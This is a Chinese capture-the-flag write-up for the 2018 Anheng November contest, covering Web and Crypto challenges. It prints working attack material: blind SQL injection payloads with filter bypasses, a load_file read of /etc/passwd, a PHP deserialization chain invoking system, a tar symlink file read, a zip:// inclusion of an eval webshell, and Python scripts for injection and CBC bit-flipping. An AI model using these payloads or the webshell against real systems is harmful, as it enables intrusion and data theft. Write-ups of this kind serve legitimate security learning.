2018安恆杯11月賽-Web&Crypto題解
前言
今天比賽繁多,在打xnuca的閒暇,做了下安恆月賽,以下是Web和Crypto的解題記錄
簽到舊題-手速要快
拿到題目後,發現要輸入一個Password
在header裡發現密碼
輸入後發現來到上傳頁面
發現可以上傳成功
並且可以被解析為php
於是getflag
ezsql
開啟頁面,發現只有註冊,登入功能,然後就是個人資訊頁面
http://101.71.29.5:10024/user/user.php?id=5
隨手測試了一下,發現存在sql注入
http://101.71.29.5:10024/user/user.php?id=if(1,1,2)
http://101.71.29.5:10024/user/user.php?id=if(0,1,2)
但這裡的過濾很坑,首先沒有引號,其次是過濾沒有回顯,我無法通過
if(length('a'),1,2)
這樣的方式去識別過濾,這是我覺得比較頭疼的問題
後來在隨便測試的時候發現
if(hex(database())like(0x25),1,2)
回顯正常,隨即覺得應該有戲,但是由於過濾太多,依次嘗試,發現可以load_file
if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)
嘗試讀了一下/etc/passwd
發現成功,於是想到讀/var/www/html/index.php
然後得到檔案內容
<?php require_once('config/sys_config.php'); require_once('header.php'); if(isset($_COOKIE['CONFIG'])){ $config = $_COOKIE['CONFIG']; require_once('config/config.php'); } ?>
然後讀/var/www/html/config.php
得到檔案內容
<?php $config = unserialize(base64_decode($config)); if(isset($_GET['p'])){ $p=$_GET['p']; $config->$p; } class Config{ private $config; private $path; public $filter; public function __construct($config=""){ $this->config = $config; echo 123; } public function getConfig(){ if($this->config == ""){ $config = isset($_POST['config'])?$_POST['config']:""; } } public function SetFilter($value){ //echo $value; $value=waf_exec($value); var_dump($value); if($this->filter){ foreach($this->filter as $filter){ $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value); } $this->filter = array(); }else{ return false; } return true; } public function __get($key){ //var_dump($key); $this->SetFilter($key); die(""); } }
發現是一波反序列化的操作,注意到函式
public function __get($key){ //var_dump($key); $this->SetFilter($key); die(""); }
以及
if(isset($_GET['p'])){ $p=$_GET['p']; $config->$p; }
發現可控值,跟蹤SetFilter
發現
$value=waf_exec($value); var_dump($value); if($this->filter){ foreach($this->filter as $filter){ $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
發現可進行RCE的位置,於是嘗試構造
$sky = new Config(); $sky->filter = array('system'); echo base64_encode(serialize($sky));
發現成功列目錄,但是在嘗試讀取flag的時候出現問題
首先flag2333是個目錄,然後/和空格被過濾,我們列出當前資料夾下所有檔案
這裡使用$IFS進行繞過空格
得到檔名,依舊無法cat,因為沒有/,嘗試萬用字元?,發現也被過濾
最後想到grep,如下圖
即可無需目錄名getflag
interesting web
拿到題目發現
需要我們成為管理員,因為普通使用者沒有用
發現3個功能:註冊,登入,找回密碼
那麼應該是用這3個功能更改管理員密碼沒錯了
我們嘗試找回密碼
由於目標是flask框架,session是存在cookie裡的,我們注意到session
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJaREk1TTJRMk9XSTBPV1U0WWpNM01EUTFOMk0wWXpjNVpUTTJOek0yTkRVPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DtqVZA.sKvz6PyWEuNzg_FZrRI3RKzoWzk
解一下
可以得到token
隨機成功更改管理員密碼
然後先到tar,不難想到軟連結,我們構造
ln -s /etc/passwd 222222.jpg tar cvfp 1.tar 222222.jpg
上傳1.tar,即可得到flag
好黑的黑名單
拿到題目,f12發現
http://101.71.29.5:10041/show.php?id=1
於是嘗試注入,有了前面的經驗,直接嘗試
http://101.71.29.5:10041/show.php?id=if(1,1,2)
http://101.71.29.5:10041/show.php?id=if(0,1,2)
並且發現過濾時
報錯時
即可得到題目的4種特徵
嘗試
if((database())like(0x25),1,2)
發現like被過濾,於是嘗試regexp
if((database)regexp(0x5e),1,2)
fuzz了一下,發現可以得到資料庫名為
web
於是寫指令碼進行注入
嘗試爆表
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
這裡遇到問題,=被過濾,like也被過濾
於是想到
in(database())
但是這裡還有坑,需要這樣繞過
in%0a(database())
同時
information_schema.TABLES
被過濾,需要如下繞過
information_schema%0a.%0aTABLES
繞過後,即可得到兩張表
admin,flaggg
相同的方式嘗試爆欄位
id,f1agg
最後進行flag的提取時出現問題,題目不知道為什麼,當regexp匹配數字的時候,就會出現資料庫錯誤,即
所以只能得到flag{
這一點非常頭疼,在這裡卡了1個小時後,想到使用between,例如
根據之前的經驗,flag均為md5
於是想到從0~f進行遍歷
指令碼如下
# -*- coding:utf-8 -*- import requests import string flag = 'flag{' payload=flag.encode('hex') list = string.digits+'abcdef'+'}' for i in range(1,200): print i for j in range(len(list)): tmp1 = payload+'2f' tmp2 = payload+list[j].encode('hex') url = 'http://101.71.29.5:10041/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)' r = requests.get(url) if '鄭州燴麵的價錢為10' in r.content: payload += list[j-1].encode('hex') print payload.decode('hex') break
得到flag
flag{5d6352163c30ba51f1e2c0dd08622428}
image_up
http://101.71.29.5:10043/index.php?page=login
拿到題目發現是個登入頁面,且有檔案讀取的風險,我們嘗試讀取檔案
<?php if(isset($_POST['username'])&&isset($_POST['password'])){ header("Location: index.php?page=upload"); exit(); } ?>
隨手嘗試admin admin,發現登入成功,再讀upload的原始碼
<?php $error = ""; $exts = array("jpg","png","gif","jpeg"); if(!empty($_FILES["image"])) { $temp = explode(".", $_FILES["image"]["name"]); $extension = end($temp); if((@$_upfileS["image"]["size"] < 102400)) { if(in_array($extension,$exts)){ $path = "uploads/".md5($temp[0].time()).".".$extension; move_uploaded_file($_FILES["image"]["tmp_name"], $path); $error = "上傳成功!"; } else{ $error = "上傳失敗!"; } }else{ $error = "檔案過大,上傳失敗!"; } } ?>
發現檔案上傳,這裡不難想到組合拳:lfi+upload
我們只要上傳一個內容帶有一句話木馬的jpg,再包含即可getshell
但這裡有一個難點
$path = "uploads/".md5($temp[0].time()).".".$extension;
我們需要提前預測time()
剛開始我以為這是一道簡單的time預測,但發現多次嘗試多執行緒爆破,都無法預測到檔名
後來看到提示
想到是不是時區的問題,嘗試time+8h
time()+8*3600
隨機可以預測到圖片,但是新的問題來了,我們保護圖片發現並沒有成功,猜想是否強行拼接了.php,於是讀index
<?php if(isset($_GET['page'])){ if(!stristr($_GET['page'],"..")){ $page = $_GET['page'].".php"; include($page); }else{ header("Location: index.php?page=login"); } }else{ header("Location: index.php?page=login"); }
發現強行拼接了.php,於是想到新的方法
zip://
走zip協議即可
建立一個sky.php的檔案,內容為
<?php @eval($_POST[sky]);
然後壓縮為sky.zip,改字尾名為sky.jpg
預測檔名後上傳
訪問路徑
http://101.71.29.5:10043/index.php?page=zip://uploads/ddf1dcc4b533d1631d81a0c58a1b3bdb.jpg%23sky
即可菜刀連線
好簡單的密碼2
nc進題目
➜~ nc 101.71.29.5 10048 only admin can get flag! Menu: 1) login 2) info 3) edit 4) flag
發現有4個功能,查看了一下
2 iv:235d5e78277087a9cb82b8ea0ca94a47 cipher:4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95c1a73bcd539f73d29cac53105dbd69bbf71a5fcef01ccaa3f9b6582d96311f47 plain:7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393335342e3831353837397d303030303030 3 new iv(must_be_16_bytes_long): 235d5e78277087a9cb82b8ea0ca94a47 new cipher: 4721f1a3f57ed3d6fcad72461fa54815f0b7f83874919bd79bdc1e0a945c0f95179a145bb62d567082303b27a986e9a407763db55d5dc47c3483060be10b6946
發現info,是告訴你iv,c,m,而edit是更改iv和c
瞬間想到cbc翻轉攻擊
嘗試登陸1dmin
1 Please input your username 1dmin login success
檢視此時的資訊
2 iv:235d5e78277087a9cb82b8ea0ca94a47 cipher:4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95c1a73bcd539f73d29cac53105dbd69bbf71a5fcef01ccaa3f9b6582d96311f47 plain:7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393335342e3831353837397d303030303030
進行c的構造
cipher = ord(cipher[0]) ^ ord(‘1’) ^ ord(‘a’)
然後修改c
3 new iv(must_be_16_bytes_long): 235d5e78277087a9cb82b8ea0ca94a47 new cipher: 1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec
此時再看個人資訊
2 iv:235d5e78277087a9cb82b8ea0ca94a47 cipher:1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec plain:dfdd2d9e4cb84a95a2dd3fcfc9e8627761646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393435372e3332363233317d303030303030
發現明文出現亂碼
那麼通過iv恢復第一個Block
plain = 'dfdd2d9e4cb84a95a2dd3fcfc9e86277'.decode('hex') want = "{'username__': '" first_16 = '' iv = '235d5e78277087a9cb82b8ea0ca94a47'.decode('hex') for i in range(16): first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i])) newiv = first_16 print newiv.encode('hex')
然後去再修改新的iv
3 new iv(must_be_16_bytes_long): 87a706950ebaa35d043ad87ae27b0817 new cipher: 1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec
即可getflag
Menu: 1) login 2) info 3) edit 4) flag 4 only admin can get flag username :admin flag{cce8a1ec51ac432c774d0198e388b034}
指令碼如下
from Crypto.Cipher import AES import base64 # iv='235d5e78277087a9cb82b8ea0ca94a47' # cipher='4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95179a145bb62d567082303b27a986e9a407763db55d5dc47c3483060be10b6946' # plain='7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035383631322e3136303935367d303030303030' # m = plain.decode('hex') # # for i in range(0,len(m),16): # #print m[i:i+16] # print cipher.encode('hex') plain = 'dfdd2d9e4cb84a95a2dd3fcfc9e86277'.decode('hex') print plain want = "{'username__': '" first_16 = '' iv = '235d5e78277087a9cb82b8ea0ca94a47'.decode('hex') for i in range(16): first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i])) newiv = first_16 print newiv.encode('hex')
仿射
拿到題目,提示b=7,以及一串密碼
achjbnpdfherebjsw
我們知道仿射密碼為
a的逆元取值範圍在(1,9,21,15,3,19,7,23,11,5,17,25)
所以直接解密即可
程式碼如下:
import gmpy2 string = 'achjbnpdfherebjsw' b=7 for i in (1,9,21,15,3,19,7,23,11,5,17,25): flag = '' for k in string: flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a')) print flag